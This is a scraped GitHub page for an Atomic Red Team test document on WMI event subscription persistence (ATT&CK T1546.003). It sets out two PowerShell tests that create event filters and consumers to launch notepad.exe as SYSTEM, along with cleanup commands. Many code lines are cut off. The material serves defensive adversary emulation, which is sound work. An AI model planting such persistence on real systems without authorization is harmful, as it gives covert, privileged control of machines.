

Product

▼

Solutions

▼

Resources

▼

Open Source

▼

Enterprise

▼

Pricing

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic_red_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1546.003 / T1546.003.md

Atomic Red Team doc generat...

Generated docs from job=generate-d...

819934c · 2 years ago

History

Preview

Code

Blame

133 lines (81 loc) · 6.24 KB

Raw

T1546.003 - Windows Management Instrumentation Event Subscription

Description from ATT&CK

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

Atomic Tests

Atomic Test #1 - Persistence via WMI Event Subscription - CommandLineEventConsumer

Atomic Test #2 - Persistence via WMI Event Subscription - ActiveScriptEventConsumer

Atomic Test #1 - Persistence via WMI Event Subscription - CommandLineEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.







Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Peristence.psm1#L545

Supported Platforms: Windows

Page 1 of 3

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsu
    EventNameSpace='root\CimV2';
    QueryLanguage="WQL";
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 SECONDS WHERE
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventF

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventCon
    CommandLineTemplate="$($Env:SystemRoot)\System32\notepad
$Consumer=New-CimInstance -Namespace root/subscription -ClassName Comman

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription
```

Cleanup Commands:

```
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Cl
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Clas
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscrip
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```

Atomic Test #2 - Persistence via WMI Event Subscription - ActiveScriptEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

<https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c>

Supported Platforms: Windows

auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventCons
    EventNameSpace='root\CimV2';
    QueryLanguage="WQL";
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 SECONDS WHERE
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventCo
    ScriptingEngine='VBScript';
    ScriptText='
    Set objws = CreateObject("Wscript.Shell")
    objws.Run "notepad.exe", 0, True
    '}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveSc

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription
```

Cleanup Commands:

```
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Cl
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Clas
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscrip
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```